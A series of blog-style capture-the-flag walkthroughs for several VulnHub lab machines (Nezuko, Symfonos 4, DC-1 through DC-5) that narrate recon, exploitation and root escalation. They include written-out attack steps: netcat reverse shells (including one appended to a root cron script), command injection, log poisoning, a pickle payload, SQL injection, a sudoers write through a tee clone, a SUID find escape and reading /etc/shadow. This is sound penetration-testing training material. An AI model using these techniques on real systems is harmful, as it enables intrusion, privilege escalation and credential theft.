VulnHub Nezuko: 1 Walkthrough

Today we are doing nezuko: 1 from VulnHub. As usual, I also have a video walkthrough that you can find here.

This is a beginner level box and doesn’t take too long to get through.

We start of with our nmap scan: nmap -sV -sC -v -oN map1



There’s a webport so let’s take a look at that.


Ok weird but whatever. Let’s see if there’s a robots.txt file.


There is and it’s a weird string. It kind of looks like base64, but it’s not. I’m not going to go into this here as the challenge is a little bit of a time suck. In the end it gives a rather pointless hint.

After finding the robots.txt file, I also ran a gobuster search: gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

It produced one directory that was basically a dead end. I decided to run another nmap scan as I worked on the string from the robots.txt file.

nmap -sC -sV -v -p- -oN map2

And this would make solving the string puzzle utterly useless. Here we find another web page. This one is using SSL so we’ll need to add https along with the port.


Here we confirm it’s a login page. Let’s check the version from the nmap scan and see if it’s vulnerable.


It looks like there’s a remote code execution vulnerability available. Let’s check it out.

Using searchsploit -m 47293 will copy it to the directory you’re in.


This exploit is really just a vuln scan. It doesn’t exploit anything but that doesn’t mean we can’t make it do what we want. There was also a Metasploit module available which works perfectly fine too if you want to go that route.

First, let’s just run this and see if it’s vulnerable.


Ok so this is a problem. After some quick searching it turns out that this can happen when copying scripts from a Windows environment to Linux. Opening it in a plain text editor and doing another copy paste seems to get rid of the bad character causing the problem.


Once we run it, the script confirms it’s vulnerable. Now let’s modify it to get a shell.

Basically, this script is sending a command (echo ‘flag’) and then searching to see if it executed. So if we just replace the echo command with a netcat reverse shell, we should get a connection (assuming netcat with the -e flag is on the box).


Once the code is in place, we set up a listener, run the code and …



We get a shell as nezuko!

Let’s see upgrade our shell.

It turns out that python2 is not installed, but we can still use python3.


Now let’s see what we can get into.

Looking at the /etc/passwd file we see two users … and a password hash!


Let’s crack the hash with hashcat. I copied the hash into a file and sent it to my Windows machine for cracking. Your command will be slightly different if using Linux.

hashcat64.exe -m 1800 nez.hash wordlists/rockyou.txt

After a few seconds, we get a password back … meowmeow


Let’s become the zenitsu user.


Ok now we’re zenitsu. Unfortunately, zenitsu does not have sudo permissions. Let’s see if there’s anything in the user directories.


Looking at nezuko’s directory it looks like zenitsu is asking nezuko out every 5 minutes. That’s a little creepy, obsessive, and stalkerish, but maybe we can use this to our advantage. Let’s look at zenitu’s directory and see if there’s a script.



Ok we did find a script and we’re able to write to it. Let’s add a netcat line and see if we get a shell back.

We’ll setup another netcat lister on our attack machine first: nc -nlvp 8888

echo ‘nc 8888 -e /bin/bash’ >>

Next I just cat the file to make sure my code was appended.


Looks good. Now we wait …

After a few minutes we get a shell back


And we’re root!!!

Let’s get the final flag.


That was nezukochan. It’s not too difficult. The obscure hint took more time to track down for me than actually rooting the box. That might have been fine except that the hint doesn’t really help unless you’re really new at this stuff. If that’s the case, then you’d probably struggle decoding the hint as well.

If you’d like to see a video walkthrough where I show the Metasploit module and string decoding you can find it here.


Happy Hacking!


VulnHub Symfonos: 4 Walkthrough

For this walkthrough we will be looking at Symfonos: 4 from vulnhub. This was fun because I got to do some port forwarding and a pickle attack that I hadn’t done before. So let’s get started.

Here we run our typical nmap scan and see an open web port.


Navigating to the page we see a pretty background and that’s about it. Let’s run a gobuster and see what we get.


So gobuster found a gods directory which has some log files.



So the log files just contain a description of the gods. Interesting but not helpful right now. Let’s do another gobuster search but look for php extensions.


sym4-6Now we find two new pages. Going to sea just redirects us to atlantis.php which is a login page. After trying some default logins without any results, I move on to some SQL injection. After a few tries admin’;– works.


Selecting a god from the list takes us to a familiar description.


It looks like the php script is including the log files we found earlier, but it’s appending .log to the end. Let’s see if we can find any other logs.


Here we can see the auth log that gets populated through SSH. Looking back at our nmap scan, SSH is open. Let’s test it out.

If you haven’t made a snapshot of the system, I would recommend it at this point. It is very easy to mess up the logs. Quick reverts are immensely helpful.


We can see the log populate the username, so let’s try to poison it with PHP code.


Now let’s see if we can get a shell.


Ok so now we have a webshell. Let’s see if we can upgrade that to something better. I start up a netcat listener and run a netcat command in my webshell


And now we have a shell!

Let’s upgrade it with python.


What you can’t see after the stt raw -echo is that I hit enter and then fg and enter again. The netcat commands you see is just leftover from the previous terminal commands that show up when you’re switching from background to foreground.

Anyway, now that we have a better shell to play with, we can work on escalation. After some basic attempts to escalate, I tried running netstat only to find that it’s not available. That’s kind of interesting since this is a Debian system and it’s usually included by default. So I decided to run ss instead.


It looks like there’s an internal webpage that we can’t see. Let’s fix that with some port forwarding. There are different ways to do this, but it turns out that socat is installed on this box. That makes this easy.

What we’ll do is create a connection that will forward the internal port to an external one that we can view with our browser.


Now if we brows to port 7000 we should see something interesting.


Not only did we get a page, but a big hint. It redirected us to a whoami directory and said a cookie is set to Poseidon. If you look at the passwd file you can see Poseidon is the only real user on the system.

Since it mentioned a cookie, let’s look at it.


Using BurpSuite, we can reload the page and intercept the request. Here we see the username contains a base64 string. Let’s decode that. I’ll just send it over to the burp decoder.


Ok, we see the username Poseidon and some sort of python object. I had no idea what this was. Google to the rescue!

It turns out this is a json pickle. Reading this helped me figure out what to do next.

From the VerSprite page, I notice something familiar. A call for a python object.


Since this is a cookie, I assumed that the base64 string would be passed back to the rest of the code and then decoded. So let’s see what happens if we copy this code, encode it into base64 and send it back. The only difference is that instead of running whoami, I’ll try to get a shell.

Now let’s setup a listener and see what happens.





Nope didn’t work. After looking at the exploit a little more closely, I realized that it was using subsystem.Popen to make the system calls. That’s not the only option in Python. Let’s try it with something else like os.system.



After making the change we get a shell. Now who are we …?


We are root!


Well that’s it for Symfonos 4. I hope you enjoyed the walkthrough. If you’d like to see a video walkthrough you can find it here.



VulnHub DC: 5 Walkthrough

Hi All,

I’m back and finally ready to walkthrough DC-5 from VulnHub. This one was much harder than the previous DC boxes but teaches some important skills. You can also find my video walkthrough of it here. Now let’s get started.

We start off with our usual nmap scan.


Here we see a web port with nginx running. The nginx part will be important later. For now let’s just visit the website.


Navigating through the site doesn’t reveal much. Let’s run gobuster and see if we can find anything more.

gobuster dir -u -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

Running this command will produce the following results:


Most of these we’ve already seen just from navigating the site, however, thankyou.php is new. You can also find it by completing the contact form.

The thankyou.php page doesn’t look too interesting until you refresh it a few times



The footer changes dates. You can see where this is coming from by looking at footer.php from our gobuster scan. Since this is weird behavior, let’s try a local file inclusion (LFI) method and see if that works.


The ?file=/filepath is common but not exclusive. We could have used a program like wfuzz to run through multiple possibilities quickly, but we didn’t need to.

Now we can read any file we have rights to. Let’s see if we can find the log files. Remember the nmap scan? Because of that, we know that this server is nginx. Let’s see if we can read the configuration file for nginx. If you don’t know where it is, Google is your friend.


We now know where the access and error logs are stored. Let’s see if we can read those.


We can read them. If you get to this point and you can’t see the logs, try reverting the box. I had to do that a few times when the logs just wouldn’t show up.

We can also see our previous viewing of the password file and our user agent. From here, we can attempt to poison the logs and get code execution. We can do this by sending PHP code in our user agent string. I’m going to use curl to do this, but BurpSuite would work as well.


Here I sent the whoami command inside some PHP code as the user agent. Let’s check the log page now.


We have code execution! Let’s see if they have netcat installed. I’ll run the curl command again but change whoami to which nc.


Let’s hope it has the -e flag. First, we’ll setup our netcat listener (nc -nlvp 7777) and then send our netcat reverse shell to the logs. Once we refresh the log page, we should have a shell.




And we have a shell!

Let’s upgrade it with python


After the python command I’m pressing ctl-z to background the connection. Then I type stty raw -echo followed by fg to bring the connection back to the foreground (which you can’t see on the screen). That allows me to have ctl-c, tab auto complete, up arrow history etc.

Now it’s on to privilege escalation.

I’ll run (I’ve renamed it here to but I’ll have to bring it over. To do that, I’ll start a python web server and then use wget to do the file transfer.



Now I can run it with python and view the results


This SUID set screen file stuck out to me as interesting. It’s not normal to see it here and screen is used for terminal sessions. I’ll run searchsploit against the version listed and see if I get any hits.


Ok it looks like it’s vulnerable to a privilege escalation exploit. There’s only one problem. It doesn’t work out of the box. The script doesn’t seem to follow the EOF markers like it should. It might be fixable as a whole, but it’s easier for me just to break it up manually. Thankfully the code isn’t too hard to follow.

There are three main stages to this exploit. Two compile steps and a final exploit step.


These three sections should be broken out as shown. The .c files should keep their names exactly. The sh file can be called whatever you want. Compile the .c files using the gcc commands in the script making sure to change the file paths to fit your environment. You’ll get some warnings, but that’s ok.


When you are done compiling, you should have a, rootshell, and your script file.


Now I’ll bring the files over with wget.


Now I’ll set the script permissions to execute and run it.


And we’re root!!!

Now for the flag …


That’s DC-5. Like I said earlier, this was a lot harder than the previous DC boxes in the series. It does cover some solid techniques that pentesters should know. I did have a problem with the access logs not showing up at all. There were a few times I had to revert the box to get it to work which was really annoying.

Anyway, I hope you enjoyed the walkthrough. If you would like to see a video walkthrough that does a better job explaining the privilege escalation exploit, you can find it here.


Happy hacking!



VulnHub DC: 4 Walkthrough

DC: 4 is another vulnerable machine hosted by VulnHub. This one the author rated a little tougher (beginner/intermediate), and that’s probably accurate. It’s not too tough but there’s certainly some things that would throw off beginners. Let’s jump in!

As usual we will start off with an nmap scan

namp -sC -sV -v -oN map1


Here we see that port 22 and 80 are open. We can also see the version of nginx running.

You can run other nmap scans, but this is literally all that’s open. So, let’s check out the web page.


This is interesting, but that’s really all we get. The source page doesn’t reveal anything. Performing scans with gobuster, you can find some other directories and file name, but they all redirect back to this page. This really only leaves us with a couple of options. We can brute force this page, SSH, or try to find an exploit for nginx.

A quick search of nginx vulns doesn’t yield anything. We also don’t have any usernames for SSH. That leaves us with brute forcing this page.

There are a couple ways to go about this. We can use BurpSuite or Hydra. There are some issues though. The free version of BurpSuite will throttle (slow down) the brute force attempt as it goes along. It’s doable, but it takes a while.

Hydra does not have this issue, but the syntax is a lot more complicated. If not done correctly, it will give you false positives (that will actually still work if you keep the session alive).

For this walkthrough, I used BurpSuite Pro. It doesn’t have the throttling issue and is just easier to setup. It will work exactly the same as the free version. There’s just a speed difference. If you want to see how Hydra works with this, you can find a video walkthrough here where I go through it.

So start up BurpSuite, and set your browser proxy for http on port 8080. I use the Firefox extension FoxyProxy but you can set it in options menu as well.

Now turn the proxy OFF just for the first interaction and put in admin for the username and test for the password and hit Submit.


The reason we turn it off the first time is because of the way it handles session cookies. You don’t have to turn it off, but then you’ll have to forward the first couple requests. It’s just faster to do it this way.

Now, turn the proxy on, re-enter the credentials, and press submit again. You should catch the request. If you’re trying the hydra route, you’ll need this session cookie and the request string at the bottom.


Now send it to intruder either with the right click menu or pressing ctl I and go to the positions tab.

Now, press the clear button, highlight the password variable (test in this case), and press the add button.

At this point you should only have the squiggly symbols around test.


Next go to the Payloads tab and press the Load button under the Payload section.


This will prompt for a word list. Do not use the rockyou wordlist in BurpSuite. It’s too big and it will crash. It’s fine for Hydra if you’re going that route.

I’m choosing a list from The nice thing is that the password can be found in many of these lists. I’ll go with the darkweb 2017 top 1000 this time.

Once it’s loaded, press Start attack.


Your output might vary slightly, but happy is the correct password. You’ll notice that everything after that password was entered will now authenticate. This is because of the session cookie. This is also why Hydra might show false positives.


Making sure that your proxy is off, login with the password happy (or anything else as long as you didn’t reset your session cookie).

Click on the command hyperlink.


On the command screen, you’ll see some options to run. Pick one of them and see what it does.


In my case, I chose to list files and it ran the ls -l command. Let’s catch it with our proxy and see if we can run other commands.


Once the command is caught, send it to Repeater using the right click menu or pressing ctl r. Notice that the command string is using a + for a space. We’ll need to remember that for later.

For now, change the command to whoami and click go


We have command injection! Let’s get a shell.

There’s a lot of ways you can do this. I used the which command (which netcat) to identify that netcat was on the box and used that.

Start a netcat listener on your attack machine.

nc -nlvp 7777

In the command, put in nc+-nv+

Make sure you have the right IP and port for your machine, and that the syntax is correct. An error here can easily hang this box and you’ll have to restart it. If you didn’t get the right password, this would be extra frustrating. 😊

Next press Go and you should be presented with a shell.


Let’s upgrade it with python

python -c ‘import pty; pty.spawn(“/bin/bash”)’


Now let’s see what we can get into.

We can’t sudo because we don’t know the www-data password. There’s no database running (like with WordPress) so we can’t look for those credentials. Let’s look at the user directories and see if there’s anything interesting there.



Inside the /home/jim directory there’s a backup folder with a listing of passwords.

Since we have usernames and a password list, let’s brute force SSH starting with Jim’s account.

For this, we’ll use Hydra. Copy over the list first. You can use a variety of methods, but the most straight forward approach is to just copy and paste it. Then launch hydra

hydra -l jim -P pass.txt ssh://


After a little bit, hydra comes back with the password jibril04

Now we can ssh in as Jim.


Jim doesn’t have sudo permissions either, so let’s go back to his directory and look at some of the files we couldn’t get to before.


Looking at mbox, we can see a test email sent by root. There seems to be a vulnerable version of Exim running, but I couldn’t get that exploit to work.

Let’s see if there’s other mail we can read in the mail folder. It’s kept in /var/mail

Inside the mail directory is an email to Jim with Charles’s password. Let’s su to Charles.


Now that we’re Charles, we find that sudo is available for a program called teehee.


Running this program produced something that looked like echo. Whenever a command was entered, it just spit it back out.


Let’s look at the help file.


It looks like it has some sort of file write capabilities, but I was a little lost on how to use it. I also couldn’t find any reference to this binary on Google. I then went to GTFOBins to see if it was mentioned there.


While they didn’t have anything for teehee, they did have something for tee. That made me think that the binaries might be similar. I did a help on tee.


Notice anything? The help file is exactly the same.

We should be able to use the commands in GTFOBins to get root. The way tee (or teehee in this case) is that it writes to a file AND to standard output. This is useful when you want to capture output of a command and see it run at the same time.

In this case, we can use our sudo permissions to write our output to any file. There are some options here. You could write to the shadow file and make yourself root, or you can write to sudoers and sudo to root. I’m going to go the sudo route.

We will echo the parameters we want to write to sudoers and pipe it to teehee which will append the output (the parameter itself) to the sudoers file. It will look like this:

echo “charles  ALL=(ALL:ALL) ALL” | sudo teehee -a /etc/sudoers

Once we have that in, we can sudo to root.


And we’re root!!

Let’s get the flag!


That’s all for DC: 4. It was a little more challenging than the others, but still not too hard for beginners. If you want to see a video walkthrough where I also show how to use Hydra you can find it here.

DC: 5 is next on the list.


Happy Hacking


VulnHub DC: 3 Walkthrough

Next in the VulnHub DC series is DC: 3 and while it’s still for beginners, it’s little more challenging than the first two. If you’d rather see a video walkthrough, you can find it here.

The first thing we’ll run is an Nmap scan: nmap -sC -sV -v -oN map1


The only port that’s listed is 80 and it’s a Joomla site. Let’s check it out.


Ok, so there’s not much here other than a note letting us know that there’s not going to be flags or hints with this challenge. Since this is Joomla, let’s run joomscan. If you don’t have it, you can find it here

./ -u



So here we found two useful things. We found the version number (3.7.0) and an administrator login page. We’ll come back to the admin page later. Let’s see if the version is vulnerable.

A quick Google search yielded a lot of results including the following page with a list of PoC code.


Joomblah, sounded somewhat familiar to me (I probably read something about it when it was released) so I went for that one first.

After downloading the raw python code, you simply run it against the URL.



Here we are awarded with the hash for the admin account. Time to get cracking!

Now it’s easy to assume that this hash will be a Joomla hash (type 400 in hashcat), but it’s not. Hashcat will give you a length error or something like that.

Online tools and things like hash-identifier in Kali couldn’t tell me what it was either. In the end, I just browsed through the hashcat examples until I found one that looked similar.


Next I ran hashcat and was rewarded with the password snoopy.

Hashcat64.exe -m 3200 joomhash.txt rockyou.txt


Now we can log into the joomla site, but we don’t want to do it from the main page. We want the administrator page that was identified earlier.



Now we need to find a place that we can either upload code or write code. Joomla has templates which contain php code. If you didn’t know that, you can find it just by navigating through the different site options, or do a Google search for Joomla shell.




So I chose this modules.php file, but really any of them should work. The important thing is that you find the path. In this case, the path can easily be found through some trial and error. First check for a templates directory. Then beez3 followed by html. If you didn’t realize there was a templates directory, then a bruteforcer like gobuster would have found it for you.

Anyway, you should see a directory listing for /templates/beez3/html/


The next thing we need is some php code. Using the command locate webshell on our Kali box presents us with a bunch of options. I like the php-reverse-shell.php.


Once copied over, just make sure to change the port and IP address so it will call back to the attack system.


Now we’ll overwrite all of code in modules.php with our php code (you might want to make a backup of the modules.php code first). Also double check and make sure you IP and port are correct.


Now let’s start up a listener.

nc -nlvp 7777


Now we click on the modules.php file and we get a shell!



Let’s upgrade the shell to support tty. This box only has python3 so we’ll make sure to specify that in the command.

python3 -c ‘import pty; pty.spawn(“/bin/bash”)’


Now it’s time for privilege escalation. Unlike DC: 1 and DC: 2, sudo and su are not going to help us. Let’s take a look at the kernel and see if we can find an exploit there. These two commands will help with enumerating versions.

uname -a

cat /etc/lsb-release


Another thing we can do is run an exploit suggester. I like this one:

Since I already have it on my Kali box, I’ll just pull it over from there. First I’ll start a python http server. Also note that I changed the name of the file to because I hate long file names. 😊

python -m SimpleHTTPServer 80

Then I’ll use wget to bring it over to the DC: 3 box.



We’ll also need to make the file executable.

chmod +x


Now run the file with ./


So here’s where you have to start digging in. Not all of these are going to work. Some of them flat out say they are not reliable. A couple of the exploits suggested are Dirty Cow which I’ve used on a few other occasions. I, however, could not make it work.

One of the first on the list, was put out by project-zero. It seemed to fit the environment and gave a link to the exploit code so I gave it a shot.


I pulled it over to the box with the same python server we used before. Now run the following commands to extract it.


cd 39772

tar -xvf exploit.tar

Now navigate to the ebpf_mapfd_doubleput_exploit directory


Now run chmod +x on and run it ./ You should end up with a file called doubleput. It threw some errors for me, but it still seemed to work.


Now run doubleput. ./doubleput


And we’re root!!!

Now let’s get the flag!



That’s it for DC: 3. It was a decent step up in difficulty from the last two boxes, but still not too bad to work through. I hope you found the walkthrough helpful. DC:4 is next! If you want to see a video walkthrough where I use SQLmap instead of Joomblah to get the hash, you can find it here.


Happy Hacking,


VulnHub DC: 1 Walkthrough

This VulnHub walkthrough is a box called DC: 1. It’s rated as a beginner box and it’s really not too difficult.

We start off by running our typical nmap scan: nmap -sC -sV -v -oN map1


There are a few ports listed here but the most interesting one is port 80. Let’s look at the website.



Ok it’s a Drupal site which confirms what Nmap found. Nmap also noted that the version was 7. Let’s see if we can find a more exact version. I’ll use droopescan: droopscan scan drupal -u



It takes a few minutes to run, but it gives us a list of possible versions between 7.22 and 7.26. Let’s see if any exploits exist.



Searchsploit returns a ton of results most of which center around the Drupalgeddon exploits. I successfully exploited the site with three of the exploits:, 44449.rb, and a Metasploit module.

For this walkthrough, I’m just going to show the Metasploit route. I’ll have a video walkthrough up soon where I’ll show all three ways. The privilege escalation is the same either way.

So let’s start up Metasploit and search for drupal.


Next, we’ll set the rhosts to the site IP address



Now, we’ll launch the exploit to get a shell.


Now that we have a shell, we can work on privilege escalation. There are a couple ways to discover the path. By running a Linux privilege checker, or by finding a hint (in the form of a flag) on the Drupal site.

I’ll use the checker for this walkthrough. So start up a python web server and use wget to download the file. I also upgraded the shell using python.

python -c ‘import pty; pty.spawn(“/bin/bash”)’dc8

python -m SimpleHTTPServer 80



Then run the checker script.


The hard part about doing it this way is that it’s really easy to miss it. You also might not know that find has an exec flag that lets you run commands on what you find.


The other way to find this would be to get the mysql password form the Drupal config, find the user password hashes, and crack them. That would lead you back to the Drupal site where you could find the hint.

All that to say is that the find command has the suid bit set which will let us execute code as the owner – in this case root.

Let’s test it out.

find /etc/shadow -exec cat {} +


If you only had a webshell at this point, you could crack the password for the flag4 user account and log in with ssh. That’s not necessary to get root or even view the root flag. Find can do all that for us (I’m still using /etc/shadow here because something has to fill the spot. It really doesn’t matter what. An empty text file would work too.)

find /etc/shadow -exec bash \;


Hmmmm … what happened here? We should have been root. Let’s try it again with sh.


Now we’re root! But why didn’t it work with bash? Let’s find out.


So it looks like running bash will actually put you in a restricted bash shell. That’s not the case with sh.

Anyway, we can now go to the root folder and view the flag.


So that was DC: 1 from VulnHub. I hope you enjoyed the walkthrough. I’ll have a video up soon that walks through the other methods to get a shell.

Update: The video can be found here

Happy Hacking!